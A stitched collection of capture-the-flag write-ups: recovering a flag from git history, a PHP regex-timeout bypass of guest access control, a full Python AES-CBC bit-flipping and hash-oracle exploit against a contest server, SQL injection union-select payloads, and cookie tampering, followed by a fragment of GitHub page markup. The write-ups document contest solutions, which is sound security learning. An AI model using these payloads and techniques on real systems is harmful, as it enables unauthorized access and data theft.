break3ca6f67f6e0d2a84709ddf1d93ccc8e552a6cd28 bab29294d410e7f2e3543d5018559809477c5873 Jimmy <[email protected]> 1511298288 +0000 commit: Updated blogbab29294d410e7f2e3543d5018559809477c5873 a6d68038d59f27c0b90976617a64b933ac016d87 Jimmy <[email protected]> 1511298543 +0000 commit: Added index to abouta6d68038d59f27c0b90976617a64b933ac016d87 55b4ae7d2a98d6e5afecd4765a5fd8196036ffa7 Jimmy <[email protected]> 1511298588 +0000 commit: Added contact to about55b4ae7d2a98d6e5afecd4765a5fd8196036ffa7 9e78ef4e494a8e9288ba85b07e34f64c88327fe5 Jimmy <[email protected]> 1511298628 +0000 commit: Added blog to about9e78ef4e494a8e9288ba85b07e34f64c88327fe5 346114b24e1797a8db126dde23106f793c7c0f51 Jimmy <[email protected]> 1511298647 +0000 commit: Added line break346114b24e1797a8db126dde23106f793c7c0f51 f895f5561ef6ee238a23a2fa504571ffb4223096 Jimmy <[email protected]> 1511298719 +0000 commit: Added more line breaksf895f5561ef6ee238a23a2fa504571ffb4223096 155a17ef658aa77dd7c482035d98c745881a56ab Jimmy <[email protected]> 1511298768 +0000 commit: Updated blog155a17ef658aa77dd7c482035d98c745881a56ab 08cd273897b150e35fb0cea7af3c4ccc434de81e Jimmy <[email protected]> 1511298875 +0000 commit: Removed flag08cd273897b150e35fb0cea7af3c4ccc434de81e 15efa7acd0acb66872892488546e283b166dd201 Jimmy <[email protected]> 1511299875 +0000 commit: Updated blog15efa7acd0acb66872892488546e283b166dd201 3ebe7abbb15eacfff960f16c6fda51bbd5f54352 Jimmy <[email protected]> 1511300415 +0000 commit: Added index to contact3ebe7abbb15eacfff960f16c6fda51bbd5f54352 bfbafda9b116c2f762485b00d546eb89b2b4de02 Jimmy <[email protected]> 1511300447 +0000 commit: Added about to contactbfbafda9b116c2f762485b00d546eb89b2b4de02 b8c0fb10976809a46ee2d7ddfec11884179b1ebb Jimmy <[email protected]> 1511300494 +0000 commit: Added blog to contactb8c0fb10976809a46ee2d7ddfec11884179b1ebb ae0b4f2ea0b2cffdc8da029d7b12a3801dbecf2a Jimmy <[email protected]> 1511300530 +0000 commit: Added line breakae0b4f2ea0b2cffdc8da029d7b12a3801dbecf2a 4886e3f73da81de2f17d3151ab6acafd1791d2d6 Jimmy <[email protected]> 1511300572 +0000 commit: Added another line break4886e3f73da81de2f17d3151ab6acafd1791d2d6 95903dc1c79b3febf2539b427a2e67c59c8bed90 Jimmy <[email protected]> 1511300671 +0000 commit: Updated blog95903dc1c79b3febf2539b427a2e67c59c8bed90 f60c31d83c09154f28e0be41b1d5dbaa5c395cf5 Jimmy <[email protected]> 1511300713 +0000 commit: Added index to blogf60c31d83c09154f28e0be41b1d5dbaa5c395cf5 551e6fc80b1f578c1dcca37457a9a1227418e7d2 Jimmy <[email protected]> 1511300754 +0000 commit: Added about to blog551e6fc80b1f578c1dcca37457a9a1227418e7d2 3fc9676f3cd72057f871bb549285bfba9104594a Jimmy <[email protected]> 1511300778 +0000 commit: Added contact to blog3fc9676f3cd72057f871bb549285bfba9104594a 2dd3e17e06c01fa0350ba262cd7145a6490a6164 Jimmy <[email protected]> 1511300801 +0000 commit: Added line break2dd3e17e06c01fa0350ba262cd7145a6490a6164 1f7da9fec05bdd6cce46648c4ccd69fe01bbbc0e Jimmy <[email protected]> 1511300812 +0000 commit: Added another line break1f7da9fec05bdd6cce46648c4ccd69fe01bbbc0e b6d67496b526f15f908be4ae02cd8318c27ad68a Jimmy <[email protected]> 1511300947 +0000 commit: Updated blogb6d67496b526f15f908be4ae02cd8318c27ad68a 54c176f726f9d8f0c41e24376ec23e69177aec35 Jimmy <[email protected]> 1511301216 +0000 commit: Updated blog54c176f726f9d8f0c41e24376ec23e69177aec35 d9776dd49fdd578d807df6a23f601d1e210dbbc3 Jimmy <[email protected]> 1511301393 +0000 commit: Updated READMEd9776dd49fdd578d807df6a23f601d1e210dbbc3 9cde9ce8cde96970924842eefbd6639223205e21 Jimmy <[email protected]> 1511301534 +0000 commit: Updated blog9cde9ce8cde96970924842eefbd6639223205e21 6e30239743abe21d07c316ffa5848a24da4d3fa2 Jimmy <[email protected]> 1511301674 +0000 commit: Added a title to my blog6e30239743abe21d07c316ffa5848a24da4d3fa2 0ccdc6a7878f2cd0df100f34d094ce7e9f8dcef0 Jimmy <[email protected]> 1511301778 +0000 commit: Added line under links on index0ccdc6a7878f2cd0df100f34d094ce7e9f8dcef0 a62a1b71b8f7c0ac423dc3df42a68aa308bfaf4a Jimmy <[email protected]> 1511301817 +0000 commit: Added line under links on abouta62a1b71b8f7c0ac423dc3df42a68aa308bfaf4a 797db1ded045bbef03fcfcad00927ede6487a586 Jimmy <[email protected]> 1511301836 +0000 commit: Added line under links on contact797db1ded045bbef03fcfcad00927ede6487a586 d330d7bd1b0b092309e6e7e9df4d0662190e57b7 Jimmy <[email protected]> 1511301868 +0000 commit: Added line under links on blogd330d7bd1b0b092309e6e7e9df4d0662190e57b7 af63f881586d54015d5a20b23aac2b3b3c86aec7 Jimmy <[email protected]> 1511301941 +0000 commit: Updated blogaf63f881586d54015d5a20b23aac2b3b3c86aec7 68f454f26007f6a58f77abe3e8970840c9470d38 Jimmy <[email protected]> 1511305012 +0000 commit: Updated blog68f454f26007f6a58f77abe3e8970840c9470d38 8e7b147046124e3103d3182ca0da5496cbbd54b4 Debian <[email protected]> 1511391186 +0000 commit: Updated blog8e7b147046124e3103d3182ca0da5496cbbd54b4 95306a2294ec653ca81d8f92f343893b21286e89 Jimmy <[email protected]> 1511391222 +0000 commit (amend): Updated blog95306a2294ec653ca81d8f92f343893b21286e89 561631b333516a8db23d4bef1700e84469ee0ac5 root <[email protected]> 1511563373 +0000 commit: Special thanksgiving post :)561631b333516a8db23d4bef1700e84469ee0ac5 3c23eefd95613aac91e36ff346d747d75ec5e3c5 Jimmy <[email protected]> 1511563413 +0000 commit (amend): Special thanksgiving post :)```
↓
flagらしきものが追加されている!
`2c6190537a2655121ccb9647765fa99687afec25 22f63ceab55efe05c5448676a3470b13b6545f74 Jimmy <[email protected]> 1511297558 +0000 commit: Added flag`
↓
巻き戻す
```$ git reset --hard 22f63ceab55efe05c5448676a3470b13b6545f74HEAD is now at 22f63ce Added flag```
↓
flagというファイルを得られたのでテキストエディタなどで開いてみる。
↓
`TUCTF{D0nt_Us3_G1t_0n_Web_S3rv3r}` |
Download source code from site, then we can see this is a simple PHP framework with login and register action.
Below is the function used to cat flag.
```php$app->get('/flag', function () use ($app) { if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) { $app->redirect('/#try+harder'); } return $app->flag;});```
Seems we need to login as a rule apart from guest, so let's look at register function.
```php$app->post('/register', function () use ($app) { $id = (isset($_POST['id']) === true && $_POST['id'] !== '') ? (string)$_POST['id'] : die('Missing id'); $pw = (isset($_POST['pw']) === true && $_POST['pw'] !== '') ? (string)$_POST['pw'] : die('Missing pw'); $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($id) > 32 || strlen($pw) > 32) { die('Invalid input'); }
$sth = $app->pdo->prepare('SELECT id FROM users WHERE id = :id'); $sth->execute([':id' => $id]); if ($sth->fetch() !== false) { $app->redirect('/#duplicate+id'); }
$sth = $app->pdo->prepare('INSERT INTO users (id, pw) VALUES (:id, :pw)'); $sth->execute([':id' => $id, ':pw' => $pw]);
preg_match('/\A(ADMIN|USER|GUEST)--((?:###|\w)+)\z/i', $code, $matches); if (count($matches) === 3 && $app->code[$matches[1]] === $matches[2]) { $sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, :authorize)'); $sth->execute([':id' => $id, ':authorize' => $matches[1]]); } else { $sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, "GUEST")'); $sth->execute([':id' => $id]); }
$app->redirect('/#registered');});```
The key point is ``$app->code[$matches[1]] === $matches[2]``, seems when we know code, we can register as admin or user, but the code's value is null.
```php$app->code = [ 'ADMIN' => null, // TODO: Set code 'USER' => null, // TODO: Set code 'GUEST' => '###GUEST###'];```
Seems we will never got right code to register.And i notice another function:
```php$app->post('/login-2fa', function () use ($app) { if (isset($_SESSION['id']) === false) { $app->redirect('/#missing+login'); }
$code = (isset($_POST['code']) === true && $_POST['code'] !== '') ? (string)$_POST['code'] : die('Missing code');
require_once('libs/PHPGangsta/GoogleAuthenticator.php'); $ga = new PHPGangsta_GoogleAuthenticator();
$sth = $app->pdo->prepare('SELECT secret FROM users WHERE id = :id'); $sth->execute([':id' => $_SESSION['id']]); $secret = $sth->fetch()[0]; if ($ga->verifyCode($secret, $code) === false) { $app->redirect('/login-2fa#invalid+auth'); }
$sth = $app->pdo->prepare('SELECT authorize FROM acl WHERE id = :id'); $sth->execute([':id' => $_SESSION['id']]); if ($sth->fetch()[0] === 'GUEST') { $_SESSION['is_guest'] = true; }
$_SESSION['is_logined'] = true; $app->redirect('/#logined');});```
The key point is ``$sth->fetch()[0] === 'GUEST'``, maybe we do not need to register as admin or user, we just need not have an acl record.
``preg_match('/\A(ADMIN|USER|GUEST)--((?:###|\w)+)\z/i', $code, $matches);`` give me some idea. Regexp is resource consuming, so we can construct a very long code, and php will timeout and not run following code.
So register with a code like ``ADMIN--###A###A....(repeat many times)``, and login with ``/login-2fa`` will get flag. |
Original writeup: [http://toh.necst.it/hitconquals2017/crypto/Secret_Server/](http://toh.necst.it/hitconquals2017/crypto/Secret_Server/)
-----
We are given [this](http://toh.necst.it/writeups_files/secretserver/secretserver.py) python script.
A quick description of what it does: it's a server that receives messages and replies accordingly.It accepts a set of different commands, if the message starts with specific strings:- `get-flag`: the server sends the flag- `get-md5`, `get-sha1`, `get-sha256`, `get-hmac`: the server sends the respective hash, computed on the rest of the message- `get-time`: the server sends the current time- if the message doesn't start with any recognizable commands, the server replies with `command not found`
Seems easy, right? We can just send `get-flag` and solve the challenge, supposedly. Unfortunately, looking at the `recv_msg` and `send_msg` functions we can see that the server encrypts every message it sends, and tries to decrypt every message it receives before interpreting them. The server uses AES CBC encryption, with an unknown random key.
Reading the code, we also know:- that the flag starts with `hitcon{` and ends with `}`- the value of the IV- the fact that the message starts by sending us an encrypted message of which we know the plaintext ("Welcome!!")
Furthermore, the implementation for the `unpad` function seems unusual: - there is no check if the padding value is under the length of a block- there is no check if the padding is correct for the whole length of the padding, i.e. if all bytes in the padding length are of the same, correct value
Both checks are needed to comply with the standard [PKCS7 padding](https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7) that is normally used with AES.
So, how can we solve this?
## What we can do
Let's think about what is available to us and what we can otherwise obtain with a little effort.
1. We can send forged commands even if we don't know the key
We have all the necessary ingredients to use the classic "bit flipping attack" on AES CBC.
Basically, we can change how the server will decrypt a ciphertext block by editing the block directly preceding it. This happens because the previous block is XORed with the result of the AES block decryption to produce the plaintext.

Since we know the plaintext for the welcome block, we can just XOR the IV with "Welcome!!" to null the original plaintext out, then XOR it again with our command to replace the original value.
Let's start by defining some useful functions:```pythondef xor_str(s1, s2): '''XOR between two strings. The longer one is truncated.''' return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(s1, s2))
def flipiv(oldplain, newplain, iv): '''Modifies an IV to produce the desired new plaintext in the following block''' flipmask = xor_str(oldplain, newplain) return xor_str(iv, flipmask)```
We should also retrieve and keep the encrypted welcome message as base for the bit flipping operations.
Note: we are going to use the `pwntools` libraries to communicate with the server.
```pythonHOST = '52.193.157.19'PORT = 9999welcomeplain = pad('Welcome!!')
p = remote(HOST, PORT)solve_proof(p)
# get welcomewelcome = p.recvline(keepends=False)print 'Welcome:', welcomewelcome_dec = base64.b64decode(welcome)welcomeblocks = blockify(welcome_dec, 16)```
2. Since we can now send any command, we can obtain the encrypted flag by sending the `get-flag` command
```python# get encrypted flagpayload = flipiv(welcomeplain, 'get-flag'.ljust(16, '\x01'), welcomeblocks[0])payload += welcomeblocks[1]p.sendline(base64.b64encode(payload))flag = p.recvline(keepends=False)print 'Flag:', flag```
3. We can also get a hash (any from the set) of the decrypted message from an index onwards
From the 7th character for the MD5 hash, from the 8th for the SHA1 hash, etc.
To invoke the command we can perform the same bit flipping operation we did for the `get-flag` step, but this time using `get-md5`, `get-sha1` or one of the others.
4. We can control the value of the last byte of the message, and therefore the size of the message that will be truncated away
We can append the IV and the welcome block to any of the messages we send if we want.
Since we know the plaintext for the welcome block, we can edit the IV block as we did before to control how the last block will be decrypted.If we modify the last byte of the last block, **we can control how much of the message will be unpadded away**, and cut it at any place we want, up to 256 characters.
## Ideas and attacksHow can we use all this to reveal the flag?
The fact that we can control how much of the message will be removed after decryption made me wonder if an approach in some way inspired to the [padding oracle attack](https://en.wikipedia.org/wiki/Padding_oracle_attack) is feasible. We don't have a padding oracle in this case, but can we still somehow fashion a way to reduce the search space of the plaintext from 256^16 possibilities (all the characters at the same time) to a much more doable 256*16 (i.e. guessing one character at a time)?
The answer is yes, and there are actually multiple ways to do so.The first one that came to my mind, and the one that I used in this challenge, is the following:
1. Since we know the first 7 bytes of the flag (`'hitcon{'`) we can replace them with `get-md5` to receive the encrypted MD5 hash of the rest of the flag, the part following the first curly brace.
2. By replacing the beginning of the flag with `get-md5` and exploiting the flawed `unpad` method, we can obtain the encrypted MD5 hash not only of the whole flag, but also of the truncation up to an index we can specify. For instance we can get the encrypted MD5 hash for the first letter of the flag, then the one for the first two letters, then for three, and so on.
3. We can compute MD5 hashes locally. We can e.g. compute hashes of every 256 single ASCII character if needed. If we knew the first letter of the flag, we could also compute all the hashes of that character followed by each of the possible 256 ASCII characters, and so on.
4. We can send encrypted MD5 hashes back to the server, which will decrypt it. We can also edit them in the same way as we did with the welcome message: if we can correctly guess the plaintext value of the hash, we can null it out and replace it with a value of our choosing, like, for example, one of the commands.
5. Finally, the actual attack idea: let's say we **get the encrypted MD5 hash for the flag, truncated after the first letter**. We can **then locally compute the MD5 hash for every possible character in the 256 ASCII range**. Next we **send back the original hash for the truncated flag, but nulled out with one of the guessed hashes and replaced with a command** (let's say `get-time`). If the hashes is correctly guessed (i.e. it's the hash for the string containing the same characters as the flag), then the command will be correctly executed and we will receive a new, unknown ciphertext. If the guessed hash is wrong, we will instead receive the ciphertext for `command not found`, which is fixed and easily known. Once we find the correct value for the first letter we can move to the next and repeat the same procedure, but this time we will compute the hash of the part of the flag we already know concatenated with the new guessed character. We can repeat this for all the indexes of the flag, up to the end, and discover the whole flag.
With the procedure as decribed, we can find a single character in at most 256 guesses, then add it to the part to the flag that we know and move on to the next character. We can therefore guess one character at a time without much effort!
In practice we can say that `command not found` is an oracle, which can tell us if the first 7 bytes were correctly decrypted as a command or not. We can use this to know which MD5 hash is correct (and thus which original string).
Someone could point out that the oracle is slightly inaccurate, since the wrong MD5 hash could decrypt as a different command than `get-time`. This is very, very unlikely though, since we test only 256 hashes per character and the chance of decrypting as a different command is in the order of 1/256^7 (`get-md5` is 7 characters long).
## Putting everything together
All this long exposition can be summarized with the exploit which you can find at the end of this writeup.
When running the script the flag is, slowly but surely, correctly decrypted character by character. The final result is `hitcon{Paddin9_15_ve3y_h4rd__!!}`.
```pythonfrom pwn import *import base64, random, stringfrom Crypto.Hash import MD5, SHA256
def pad(msg): pad_length = 16-len(msg)%16 return msg+chr(pad_length)*pad_length
def unpad(msg): return msg[:-ord(msg[-1])]
def xor_str(s1, s2): '''XOR between two strings. The longer one is truncated.''' return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(s1, s2))
def blockify(text, blocklen): '''Splits the text as a list of blocklen-long strings''' return [text[i:i+blocklen] for i in xrange(0, len(text), blocklen)]
def flipiv(oldplain, newplain, iv): '''Modifies an IV to produce the desired new plaintext in the following block''' flipmask = xor_str(oldplain, newplain) return xor_str(iv, flipmask)
def solve_proof(p): instructions = p.recvline().strip() suffix = instructions[12:28] print suffix digest = instructions[-64:] print digest prefix = ''.join(random.choice(string.ascii_letters+string.digits) for _ in xrange(4)) newdigest = SHA256.new(prefix + suffix).hexdigest() while newdigest != digest: prefix = ''.join(random.choice(string.ascii_letters+string.digits) for _ in xrange(4)) newdigest = SHA256.new(prefix + suffix).hexdigest() print 'POW:', prefix p.sendline(prefix) p.recvline()
HOST = '52.193.157.19'PORT = 9999welcomeplain = pad('Welcome!!')
p = remote(HOST, PORT)solve_proof(p)
# get welcomewelcome = p.recvline(keepends=False)print 'Welcome:', welcomewelcome_dec = base64.b64decode(welcome)welcomeblocks = blockify(welcome_dec, 16)
# get command-not-foundp.sendline(welcome)notfound = p.recvline(keepends=False)print 'Command not found:', notfound
# get encrypted flagpayload = flipiv(welcomeplain, 'get-flag'.ljust(16, '\x01'), welcomeblocks[0])payload += welcomeblocks[1]p.sendline(base64.b64encode(payload))flag = p.recvline(keepends=False)print 'Flag:', flagflag_dec = base64.b64decode(flag)flagblocks = blockify(flag_dec, 16)flaglen = len(flag_dec) - 16
known_flag = ''
def getmd5enc(i): '''Returns the md5 hash of the flag cut at index i, encrypted with AES and base64 encoded''' # replace beginning of flag with 'get-md5' payload = flipiv('hitcon{'.ljust(16, '\x00'), 'get-md5'.ljust(16, '\x00'), flagblocks[0]) payload += ''.join(flagblocks[1:]) # add a block where we control the last byte, to unpad at the correct length ('hitcon{' + i characters) payload += flipiv(welcomeplain, 'A'*15 + chr(16 + 16 + flaglen - 7 - 1 - i), welcomeblocks[0]) payload += welcomeblocks[1] p.sendline(base64.b64encode(payload)) md5b64 = p.recvline(keepends=False) return md5b64
for i in range(flaglen - 7): print '-- Character no. {} --'.format(i) # get md5 ciphertext for the flag up to index i newmd5 = getmd5enc(i) md5blocks = blockify(base64.b64decode(newmd5), 16) # try all possible characters for that index for guess in range(256): # locally compute md5 hash guess_md5 = MD5.new(known_flag + chr(guess)).digest() # try to null out the md5 plaintext and execute a command payload = flipiv(guess_md5, 'get-time'.ljust(16, '\x01'), md5blocks[0]) payload += md5blocks[1] payload += md5blocks[2] # padding block p.sendline(base64.b64encode(payload)) res = p.recvline(keepends=False)
# if we receive the block for 'command not found', the hash was wrong if res == notfound: print 'Guess {} is wrong.'.format(guess) # otherwise we correctly guessed the hash and the command was executed else: print 'Found!' known_flag += chr(guess) print 'Flag so far:', known_flag break
print 'hitcon{' + known_flag``` |
https://gist.github.com/dragon996/d6a4d77e175cfe26853a94057096915e - sources
We can see sqlinj there in multiple queries, we need to construct evil query to got name of id 13Also we know table structure, so
```/plus_karma -1 union select first_name from users where id=13/plus_karma -1 union select last_name from users where id=13```
We got hashes, so lets decrypt it with crackstation and submit flag. |
# ▼▼▼Cookie Duty(Web:50)、781/948team=82.4%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```You have been summoned for Jury Duty. Try out the new web form with a state-of-the-art authentication system.
http://cookieduty.tuctf.com```
リクエストをBurpSuiteで確認すると`Cookie: not_admin=1`が存在している。
↓
Cookie: not_admin=0にしてリクエストを送信する
↓
`TUCTF{D0nt_Sk1p_C00k13_Duty}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF/ctf_in_2017/tuctf at master · vngkv123/CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9B2B:87C6:1D4C8D9E:1E2DE534:6412274F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="dd060e626856c404db2efcc3dd91fc3e4bf30fb216bff4dbff0639158e1fa8f1" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5QjJCOjg3QzY6MUQ0QzhEOUU6MUUyREU1MzQ6NjQxMjI3NEYiLCJ2aXNpdG9yX2lkIjoiODMwMjk0ODIyOTAzNDY4MjE5MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="eaa9a92fd216a2e79a83dfb2ad726f2d8c8ae12511939192401e43ea42f71a33" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:105910326" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
